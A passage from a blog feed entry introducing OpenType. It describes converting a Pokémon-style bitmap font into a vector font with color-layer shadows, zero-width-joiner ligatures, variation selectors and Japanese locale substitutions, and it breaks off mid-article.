&lt;p&gt;Now you know!&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>A quick introduction to OpenType</title><link href="https://arcanenibble.com/a-quick-introduction-to-opentype.html" rel="alternate"></link><published>2025-05-27T00:00:00+00:00</published><updated>2025-05-27T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2025-05-27:/a-quick-introduction-to-opentype.html</id><summary type="html">&lt;p&gt;Fonts are surprisingly hackable!&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;span class="emerald nopad"&gt;Hi! Sorry to keep you waiting!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="emerald nopad"&gt;Welcome to the world of OpenType!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="emerald nopad"&gt;My name is @ArcaneNibble.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="emerald"&gt;But everyone calls me the…&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;ahem&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Not sure what just happened there…&lt;/p&gt;
&lt;p&gt;In all seriousness, this page uses a font which has been derived from that used in the later &lt;span class="emerald"&gt;POKéMON&lt;/span&gt; Generation III games. I've converted it to OpenType and made use of several "advanced typography" features along the way. In this article I hope to show off OpenType, HTML, and CSS functionality which might not be widely known and how they can be applied even for Latin script.&lt;/p&gt;
&lt;p&gt;If you just want the &lt;code&gt;.ttf&lt;/code&gt; file, get it &lt;a href="https://arcanenibble.com/css/Emerald.ttf"&gt;here&lt;/a&gt;. If you want the source code, it is &lt;a href="https://github.com/ArcaneNibble/pokefont"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Are you even allowed to do this?!&lt;/h1&gt;
&lt;p&gt;I will preface this section by stating that "I am not a lawyer", but copyright and intellectual property protections for typefaces and fonts are much more inconsistent compared to other creative works.&lt;/p&gt;
&lt;p&gt;In the United States, the shape of the letters themselves is not eligible for copyright. However, &lt;em&gt;font software&lt;/em&gt; (a computer program which instructs a computer to produce letter shapes) &lt;em&gt;is&lt;/em&gt; copyrightable, just like ordinary computer software. This means that commercial OpenType font files (which contain software) are protected by copyright. Bitmap images, in contrast, do not contain creative expressions of instructions (bitmap rendering is fixed and inflexible) and so are probably not protected in the same way.&lt;/p&gt;
&lt;p&gt;In other jurisdictions such as Germany and the United Kingdom, typefaces &lt;em&gt;are&lt;/em&gt; considered copyrightable. However, this form of copyright is weaker. It may last for a shorter amount of time, and, in the case of the United Kingdom, &lt;a href="https://www.legislation.gov.uk/ukpga/1988/48/part/I/chapter/III/crossheading/typefaces"&gt;the legislation&lt;/a&gt; specifically allows for someone to "use the typeface in the ordinary course of typing, composing text, typesetting or printing".&lt;/p&gt;
&lt;p&gt;However, more importantly, I think it is valuable to consider what the &lt;em&gt;purpose&lt;/em&gt; of copyright is nominally "supposed to" be. Is it &lt;em&gt;useful&lt;/em&gt; to &lt;em&gt;preemptively&lt;/em&gt; restrict yourself from participating in building and remixing culture? Especially when a lot of modern culture is owned by large corporate entities?&lt;/p&gt;
&lt;p&gt;tl;dr we're going to &lt;abbr title="fuck around find out"&gt;FAFO&lt;/abbr&gt;, but bitmap/pixel fonts are probably okay&lt;/p&gt;
&lt;h1&gt;What is a font?&lt;/h1&gt;
&lt;p&gt;I don't know about you the reader, but I personally found much of the terminology around typography very confusing coming from the digital era &lt;em&gt;without&lt;/em&gt; having much cultural knowledge of how printing used to be done. Vague mentions of "Gutenberg" in history books isn't enough.&lt;/p&gt;
&lt;p&gt;In a movable type printing press, the individual blocks with letters on them are called &lt;em&gt;type&lt;/em&gt; or &lt;em&gt;sorts&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://upload.wikimedia.org/wikipedia/commons/a/ae/Metal_movable_type.jpg" alt="Type in a composing stick" style="max-width: 600px" class="nopad"&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;Photo by Willi Heidelbach&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;The visual shape of a letter is called a &lt;em&gt;glyph&lt;/em&gt;. A complete set of these individual type pieces (of a particular size and style) is a &lt;em&gt;font&lt;/em&gt;. The design principles which go into designing a font (e.g. at different sizes or different weights) make up a &lt;em&gt;typeface&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;"Computer people" (some of whom were intentionally working on/with "publishing" and some of whom were not) then came around disrupting everything.&lt;/p&gt;
&lt;h2&gt;Bitmap fonts&lt;/h2&gt;
&lt;p&gt;For now, let's skip ahead and over all of the early history of digital typography and go straight to the era of video games and home computers. These systems tended to use bitmap fonts at a fixed low resolution due to hardware limitations.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/bmpfonts.png" alt="sample of bitmap fonts" style="max-width: 300px" class="nopad"&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;Commodore 64, IBM VGA, and Pokémon Generation II fonts&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;Many of these systems had hardwired logic for rendering "characters" or "tiles". In some cases, the shape of these characters was fixed into a &lt;abbr title="Read Only Memory"&gt;ROM&lt;/abbr&gt;, and in other cases they were reconfigurable. However, these systems would in all cases render text as fundamentally composed of fixed-sized rectangles. It wasn't easy (or sometimes even possible) to render text at different sizes. Essentially, many of these systems only supported one single font.&lt;/p&gt;
&lt;p&gt;The typefaces and fonts on some of these systems might've been designed by a "real designer" trying to optimize for readability, but it is just as possible that fonts on these systems were designed by a harried game programmer or electrical engineer.&lt;/p&gt;
&lt;p&gt;Because a bitmap font contains information only at a given resolution, it doesn't scale nicely to other sizes. Scaling up either results in it becoming blurry or increasingly blocky and pixellated. Solving this problem requires the use of &lt;em&gt;vector graphics&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;OpenType&lt;/h2&gt;
&lt;p&gt;Separate from these systems which were just trying to "get something done", people were of course trying to digitize the traditional process of typography and typesetting. After many ideas were tried and &lt;em&gt;much&lt;/em&gt; commercial competition occurred (between companies such as Apple, Adobe, and Microsoft), the situation culminated in a compromise file format called &lt;a href="https://en.wikipedia.org/wiki/OpenType"&gt;OpenType&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;OpenType originally consisted of Microsoft extensions to Apple's TrueType format (the origin of the &lt;code&gt;.ttf&lt;/code&gt; extension). TrueType itself was a competitor to Adobe's PostScript fonts. As a compromise format, OpenType can use &lt;em&gt;either&lt;/em&gt; TrueType-style glyph outlines &lt;em&gt;or&lt;/em&gt; PostScript-style glyph outlines. OpenType has since continued to evolve as users demanded more and more of digital typography and desktop publishing.&lt;/p&gt;
&lt;p&gt;(If you are familiar with &lt;abbr title="Web Open Font Format"&gt;WOFF&lt;/abbr&gt;, it is merely a compressed variant of OpenType.)&lt;/p&gt;
&lt;p&gt;In a typical font file, OpenType describes a typeface using &lt;a href="https://en.wikipedia.org/wiki/B%C3%A9zier_curve"&gt;Bézier curves&lt;/a&gt;, which are a particularly common form of vector graphics. These curves can be rendered, or &lt;em&gt;rasterized&lt;/em&gt;, at different sizes and resolutions. Using other advanced features (&lt;em&gt;variable fonts&lt;/em&gt;), the typeface can also change in &lt;em&gt;weight&lt;/em&gt; (thickness) or other parameters, all of which would have previously required different fonts. This means that a single &lt;em&gt;font file&lt;/em&gt; can now describe an entire typeface or even a &lt;em&gt;family&lt;/em&gt; of related typefaces, and the entire process is &lt;em&gt;well&lt;/em&gt; removed from dealing with cases full of physical type sorts.&lt;/p&gt;
&lt;p&gt;Controlling all of this is all sorts of metadata, tables, and, in many cases, code. In the rest of this article, we will be exploring how this works.&lt;/p&gt;
&lt;h1&gt;Looking inside fonts&lt;/h1&gt;
&lt;p&gt;If you are comfortable with Python and the command line, the &lt;a href="https://github.com/fonttools/fonttools"&gt;fonttools&lt;/a&gt; package can be used to look inside font files. The &lt;code&gt;ttx&lt;/code&gt; utility converts between binary files and an XML representation of the information. Running &lt;code&gt;ttx -f Emerald.ttf&lt;/code&gt; produces a file &lt;code&gt;Emerald.ttx&lt;/code&gt; that can be opened in a text editor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;ttFont&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;sfntVersion=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\x00\x01\x00\x00&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;ttLibVersion=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4.58&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphOrder&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="cm"&gt;&amp;lt;!-- The &amp;#39;id&amp;#39; attribute is only for humans; it is ignored when parsed. --&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;.notdef&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;zwj&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;2&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;vs1&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;3&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;vs2&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;4&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;5&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;em&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;6&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sp6&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;7&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sp5&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;8&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sp4&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;9&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sp2&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;GlyphID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;10&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;sp0&amp;quot;&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;…
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The process that I used to create this font from bitmap images also relies on &lt;code&gt;fonttools&lt;/code&gt;, as the entire process is done programmatically rather than being edited in GUI font editor software.&lt;/p&gt;
&lt;h1&gt;Tracing pixel outlines&lt;/h1&gt;
&lt;p&gt;To bring this font into the world of OpenType, we need to convert it from a bitmap font. Because enough time has passed since the mass-market introduction of vector typefaces, the pixellated appearance of bitmap fonts is no longer a limitation but is now an &lt;em&gt;intentional&lt;/em&gt; design choice to evoke a retro, nostalgic appearance. As such, we want to perform the conversion so that the typeface remains blocky and pixellated even as it scales to larger sizes:&lt;/p&gt;
&lt;p&gt;&lt;span class="emerald" style="font-size: 160px; line-height: 1em;"&gt;ABCD&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Because this font was designed for a device with a tiny screen, &lt;span class="emerald" style="font-size: 16px"&gt;the result also scales quite well down to &lt;em&gt;small&lt;/em&gt; sizes while remaining readable&lt;/span&gt;. Being an OpenType vector font also allows rendering engines to synthesize an italic form which never originally existed. This italic form can take advantage of modern high-DPI displays and &lt;em&gt;isn't&lt;/em&gt; restricted to the same pixel grid as the original bitmap glyphs.&lt;/p&gt;
&lt;p&gt;Overall, this is far more than a bitmap font could have ever been, back in the day!&lt;/p&gt;
&lt;p&gt;The naïve way to trace pixels into outlines might be to take the input bitmap font and, for each pixel which is filled, emit individual closed square path shapes.&lt;/p&gt;
&lt;p&gt;Unfortunately, rasterizers tend to not like this. Doing this tends to result in tiny gaps between the pixels, even if I try to make the pixels slightly bigger to try to force them to overlap:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/blocky-font-problem.png" alt="tiny gaps visible between pixels in font rasterization" class="nopad" style="max-width: 644px"&gt;&lt;/p&gt;
&lt;p&gt;&lt;small&gt;From a previous attempt at making an icon font from game sprites&lt;/small&gt;&lt;/p&gt;
&lt;p&gt;To fix this, we need to fuse adjacent pixels together and generate a single path for each contiguous region. I'm not sure whether or not this is a well-known computer graphics algorithm (I couldn't find a reference), so I've invented my own.&lt;/p&gt;
&lt;p&gt;The first step is to scan through a bitmap row-by-row and pixel-by-pixel. For each pixel, we mark which sides of the outline should end up in the final output. For an empty pixel, this is none of them. For a filled pixel, this starts out as all four sides. The code then checks whether the pixel above or to the left are also filled. If so, the shared side is unset on &lt;em&gt;both&lt;/em&gt; this pixel and the other pixel.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/font-dwg-pixels.svg" alt="Hand-drawn diagram of the algorithm step which unsets the sides of connected pixels" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;After this step, we have various tiny path fragments which need to be joined end-to-end in order to form valid vector graphics paths. We had also previously been ignoring direction (clockwise or counterclockwise), but we need to pay attention now because OpenType only fills &lt;em&gt;clockwise&lt;/em&gt; paths (and counterclockwise paths can be used to cut holes out of a filled region, such as in the letter "O"). In order to help with the next step, we prepare a few more data structures.&lt;/p&gt;
&lt;p&gt;First of all, we take all of the path fragments and their directions and collect them into a big list.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/font-dwg-pathsegs.svg" alt="Hand-drawn diagram of the algorithm step which creates a list of path fragments" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;Second, for each point &lt;em&gt;between&lt;/em&gt; pixels, we store the path fragments which interact with that point.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/font-dwg-pathfrags.svg" alt="Hand-drawn diagram of the algorithm step which determines the path fragments at each point" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;We can then use the following algorithm to turn pixels into paths:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Start with an arbitrary path fragment. Make its endpoint the current point.&lt;/li&gt;
&lt;li&gt;At the current point, determine what directions the algorithm can follow by using the "fragments associated with every point between pixels" array. If there are multiple choices, prefer a clockwise turn in order to properly maintain the clockwise path direction.&lt;/li&gt;
&lt;li&gt;If the direction changed, add a control point. If the direction did not change, replace the current point (making the current straight line longer).&lt;/li&gt;
&lt;li&gt;When all path fragments have been used, the algorithm is complete.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/font-dwg-pathfollow.svg" alt="Hand-drawn diagram of the algorithm following path fragments" class="needsbg" style="padding: 8px"&gt;&lt;/p&gt;
&lt;p&gt;For debugging, this output can be converted to an SVG and opened in tools such as Inkscape. However, &lt;em&gt;do&lt;/em&gt; note that SVG and OpenType have a different coordinate system (SVG uses a "computer graphics" convention with the y-axis pointing down, whereas OpenType uses a "mathematics" convention with the y-axis pointing up).&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/font-trace-svg.png" alt="font SVG debug output in inkscape, with path points visible" class="nopad" style="max-width: 484px"&gt;&lt;/p&gt;
&lt;h1&gt;Colors&lt;/h1&gt;
&lt;p&gt;If you look carefully, you might notice that this typeface has a text shadow. This isn't created by CSS but in fact is baked into the font file itself. This is done using a technology which is used for color emoji, but it is in no way restricted to them.&lt;/p&gt;
&lt;p&gt;Some of the earlier color font technologies (&lt;code&gt;sbix&lt;/code&gt;, &lt;code&gt;CBDT&lt;/code&gt;) worked by embedding color bitmaps inside an OpenType file. Unlike with early home computer bitmap fonts, these tables store &lt;em&gt;large, high-resolution&lt;/em&gt; images which would be scaled &lt;em&gt;down&lt;/em&gt; (which tends to work a lot better than scaling up). This technology was pretty clearly designed for emoji and didn't generalize well to other use cases.&lt;/p&gt;
&lt;p&gt;Adobe came up with an idea for color vector fonts by storing SVG data inside OpenType. This is only supported by Firefox, but it can result in fun party tricks like an &lt;a href="https://colorfonts.langustefonts.com/drunk_disco.html"&gt;animated font&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The most widely supported technology which is actually usable in browsers is &lt;a href="https://learn.microsoft.com/en-us/typography/opentype/spec/colr"&gt;Microsoft's&lt;/a&gt; &lt;code&gt;COLR&lt;/code&gt; and &lt;code&gt;CPAL&lt;/code&gt; tables, and this is what I've used here. Fundamentally, the way this works is to break up each glyph into separate layers, one for each color. In this font, this means that one glyph contains the black "actual" pixels and a second glyph contains only the text shadow pixels.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;COLR&lt;/code&gt; table is used to indicate which layers to draw for each individual glyph and which palette entries to use for those layers. The &lt;code&gt;CPAL&lt;/code&gt; table contains one or more palette choices which the type designer has determined ought to look good. The font I've created only contains a single palette, but, on the Web, &lt;code&gt;@font-palette-values&lt;/code&gt; CSS rules can be used to manually override individual colors. For example, &lt;span class="emerald" style="font-palette: --Emerald-ugly"&gt;shadows can be green!?&lt;/span&gt; &lt;span class="emerald" style="font-palette: --Emerald-noshadow"&gt;They can also be disabled by setting them to #00000000.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This usage of color layers is certainly a bit of a gimmick, but it allows for tricks such as the tiny red pixels which tell a user to press the &lt;span class="emerald" style="font-size: 48px"&gt;d‍p‍a‍d‍l‍r&lt;/span&gt; directions on the d-pad.&lt;/p&gt;
&lt;h1&gt;Character sets and coverage&lt;/h1&gt;
&lt;p&gt;I actually snuck in a little trick in that &lt;span class="emerald"&gt;#00000000&lt;/span&gt; example just now. Fonts which are used in video games might not contain every character that a modern system would expect. Likewise, they might contain graphic symbols which don't have obvious mappings to Unicode (despite efforts such as the "&lt;a href="https://en.wikipedia.org/wiki/Symbols_for_Legacy_Computing"&gt;Symbols for Legacy Computing&lt;/a&gt;" block). Video games of the era in question would often also use a &lt;a href="https://bulbapedia.bulbagarden.net/wiki/Character_encoding_(Generation_III)"&gt;nonstandard character encoding&lt;/a&gt;. This needs to be dealt with in order to make a font file which is generally usable.&lt;/p&gt;
&lt;p&gt;Some of these choices might be subjective and depend on how a type designer interprets the typeface and the Unicode standard. For example, I've chosen to map the &lt;span class="emerald"&gt;¤&lt;/span&gt; symbol to the codepoint &lt;code&gt;U+00A4&lt;/code&gt; &lt;span class="smallcaps"&gt;CURRENCY SIGN&lt;/span&gt;. This is semantically appropriate but differs from the normal rendering of the codepoint in most fonts. (On the other hand, &lt;span class="emerald"&gt;円&lt;/span&gt; is mapped to its usual CJK unified ideograph codepoint at &lt;code&gt;U+5186&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;As for the problem of not containing &lt;em&gt;enough&lt;/em&gt; characters, this font actually doesn't originally contain &lt;span class="emerald"&gt;#&lt;/span&gt;. It also doesn't contain ordinary non-fancy quotes (&lt;code&gt;'"&lt;/code&gt;), brackets (&lt;code&gt;[]{}&lt;/code&gt;), or several other ASCII characters. Although it's possible to leave them out, font fallback can end up choosing something which looks &lt;em&gt;very&lt;/em&gt; incongruous. In this case, I have custom-designed some glyphs for these characters (trying to maintain the look of the original typeface): &lt;span class="emerald"&gt;"#$'*[\]^_{|}&lt;/span&gt;. I've also designed many custom glyphs by piecing together and modifying existing components (e.g. letters, accents) in order to improve coverage for European languages. This means that you can now write &lt;span class="emerald"&gt;ő&lt;/span&gt; if you're from Hungary, &lt;span class="emerald"&gt;ŵ&lt;/span&gt; if you're from Wales, &lt;span class="emerald"&gt;ð&lt;/span&gt; if you're from Iceland, etc.&lt;/p&gt;
&lt;h1&gt;Ligatures&lt;/h1&gt;
&lt;p&gt;Creative interpretation of the Unicode specification can handle many symbols, but what can you do if you &lt;em&gt;really&lt;/em&gt; wanted to become a &lt;span class="emerald nobr"&gt;P‍kM‍n TRAINER&lt;/span&gt;? Or if your pet &lt;em&gt;really&lt;/em&gt; loves the taste of &lt;span class="emerald nobr"&gt;P‍oK‍eB‍LO‍CK‍.s&lt;/span&gt;? Or if you're merely celebrating reaching &lt;span class="emerald"&gt;L‍v100&lt;/span&gt;?&lt;/p&gt;
&lt;p&gt;I've chosen to encode these by using &lt;a href="https://en.wikipedia.org/wiki/Zero-width_joiner"&gt;zero-width joiner&lt;/a&gt; sequences, which are probably best known in English for being used to combine sequences of emoji such as 👨‍👩‍👦 out of &lt;code&gt;U+1F468&lt;/code&gt; &lt;span class="smallcaps"&gt;MAN&lt;/span&gt; + ZWJ + &lt;code&gt;U+1F469&lt;/code&gt; &lt;span class="smallcaps"&gt;WOMAN&lt;/span&gt; + ZWJ + &lt;code&gt;U+1F466&lt;/code&gt; &lt;span class="smallcaps"&gt;BOY&lt;/span&gt;. In this case, this means that &lt;span class="emerald"&gt;Pk&lt;/span&gt; becomes &lt;span class="emerald"&gt;P‍k&lt;/span&gt; when a ZWJ character is inserted in the middle.&lt;/p&gt;
&lt;p&gt;Yes, this means that you can also create your own emoji ZWJ sequences, as long as you can get users to use your font file. Want custom flags? Facial features? Skin tones? You don't &lt;em&gt;have to&lt;/em&gt; wait for Apple nor the Unicode Consortium.&lt;/p&gt;
&lt;p&gt;Configuring all of this requires using the very complicated &lt;code&gt;GSUB&lt;/code&gt; &lt;a href="https://learn.microsoft.com/en-us/typography/opentype/spec/gsub"&gt;glyph substitution&lt;/a&gt; capability. Fundamentally, this capability allows for replacing certain sequences of glyphs with certain other sequences of glyphs, but only within an appropriate context (which can include surrounding glyphs, an appropriate language, a user setting, or other parameters). For example, in traditional Latin script typography, sequences such as "&lt;span style="font-variant: common-ligatures"&gt;fi&lt;/span&gt;" might &lt;em&gt;optionally&lt;/em&gt; get replaced with a form where the "f" overlaps the dot of the "i". Arabic and Indic scripts might &lt;em&gt;require&lt;/em&gt; various substitutions, but only given certain surrounding letters.&lt;/p&gt;
&lt;p&gt;In this font, I placed all of the ZWJ sequences inside the &lt;code&gt;rlig&lt;/code&gt; (required ligatures) OpenType feature which should always be enabled for Latin script.&lt;/p&gt;
&lt;p&gt;For something which &lt;em&gt;really&lt;/em&gt; abuses ZWJ sequences, gamepad icons can be referred to by inserting multiple ZWJs in a magic code such as &lt;code&gt;btnst&lt;/code&gt; in order to tell the user to press the &lt;span class="emerald" style="font-palette: --Emerald-light"&gt;&amp;nbsp;b‍t‍n‍s‍t&amp;nbsp;&lt;/span&gt; button.&lt;/p&gt;
&lt;h1&gt;Variation Selectors&lt;/h1&gt;
&lt;p&gt;Finally, how do we handle the situation where the game's Latin and Japanese fonts render certain characters slightly differently? One possibility is to create two separate font files. However, there is yet another way—&lt;a href="https://en.wikipedia.org/wiki/Variation_Selectors_(Unicode_block)"&gt;Variation Selectors&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These characters have a number of uses including specifying minor variations in &lt;abbr title="Chinese, Japanese, Korean, Vietnamese"&gt;CJKV&lt;/abbr&gt; characters which do not have separate codepoints (i.e. they are semantically "the same" character, but different forms may be preferred in different countries). However, once again OpenType allows us to define our own nonstandard ones, and they will be stored in a special part of the &lt;code&gt;cmap&lt;/code&gt; table.&lt;/p&gt;
&lt;p&gt;This allows us to specify variations like this: &lt;span class="emerald"&gt;♂︀♂︁♀︀♀︁&lt;/span&gt;. The second character in each pair comes from the Japanese font, and they are accessed by adding &lt;code&gt;U+FE01&lt;/code&gt; &lt;span class="smallcaps"&gt;VARIATION SELECTOR-2&lt;/span&gt; after the character (&lt;code&gt;U+FE00&lt;/code&gt; &lt;span class="smallcaps"&gt;VARIATION SELECTOR-1&lt;/span&gt; selects Latin glyphs, which does nothing in this context as they are the default).&lt;/p&gt;
&lt;h1&gt;Language-dependent substitutions&lt;/h1&gt;
&lt;p&gt;In &lt;code&gt;GSUB&lt;/code&gt; tables, it is possible to define language-specific character substitutions like the following: &lt;span lang="ja" class="emerald"&gt;I wish this text was in &lt;span class="nobr"&gt;にほんご&lt;/span&gt;!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This is tagged using a &lt;code&gt;lang="ja"&lt;/code&gt; attribute in HTML and uses the &lt;code&gt;locl&lt;/code&gt; feature and &lt;code&gt;JAN&lt;/code&gt; (Japanese) Language System (LangSys) in OpenType. I've mapped the standard 26 Latin letters, the digits 0-9, and the ?! punctuation to their fullwidth glyph variants, which is what would happen in a Japanese edition of the game. I've also mapped many of the special glyphs and ligatures to their Japanese variants, but I &lt;em&gt;haven't&lt;/em&gt; mapped e.g. the period . to the ideographic full stop 。 as these characters are semantically different.&lt;/p&gt;
&lt;p&gt;If this is undesired, &lt;code&gt;font-feature-settings: 'locl' 0&lt;/code&gt; in CSS can be used to disable it: &lt;span lang="ja" class="emerald" style="font-feature-settings: 'locl' 0"&gt;I wish this text was in &lt;span class="nobr"&gt;にほんご&lt;/span&gt;!&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This can be combined with variation selectors, as long as the font is correctly programmed:&lt;/p&gt;
